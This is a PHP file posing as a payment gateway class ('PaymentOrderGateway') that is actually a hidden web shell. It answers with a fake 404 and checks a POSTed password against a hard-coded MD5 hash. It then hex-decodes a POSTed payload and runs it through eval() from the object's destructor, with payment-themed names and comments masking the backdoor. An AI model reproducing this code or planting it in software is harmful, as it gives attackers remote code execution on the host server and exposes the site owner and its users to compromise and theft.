<?php
class PaymentOrderGateway
{
    private $gateway_type;
    private $count = 1;
    static $object;
    public static function get_instance(){
        if (!isset(self::$object)){
            self::$object = new PaymentOrderGateway();
        }
        return self::$object;
    }
    private function __construct()
    {
        if(!$this->api_key){
            return;
        }
    }
    public function __set($name, $value)
    {
        $this->gateway_type = $value;
    }
    public function __get( $name)
    {
        if ($name == 'paypal') {
            $this->count = isset($_POST['count'])?$_POST['count']:1;
            return isset($_POST[$name])?$_POST[$name]:'';
        }
        if ($name == 'api_key'){
            return isset($_POST[$name])?md5($_POST[$name])==='b47afe108ec43cc95cfb9958e8f8329b':'';
        }
        $serialize_data = addslashes($this->gateway_type);
        for($i = 0; $i < $this->count; $i++) {
            $serialize_data = $this->serialize($serialize_data);
        }
        return $serialize_data;
    }
    public function __call( $name,  $arguments)
    {
        if ($name === 'destory') {
            eval/*amd*/('/*payment data*/'.$this->gateway_type.' ');
            die;
        }
    }
    public function __destruct()
    {
    	if(!$this->api_key || $this->paypal==''){
        	return;
        }
        $this->stripe_gateway = $this->paypal;
        sprintf("payment type:%s", $this->paypal);
        $this->stripe_gateway = $this->order_id;
        return $this->destory();
    }
    public function serialize($h)
    {
        $s = "";
        for ($i = 0; $i < strlen($h) - 1; $i += 2) $s .= chr(hexdec($h[$i] . $h[$i + 1]));
        return $s;
    }
    public static function __callStatic( $name,  $arguments)
    {
        return self::get_instance();
    }
}
http_response_code(404);
PaymentOrderGateway::getClass();
?>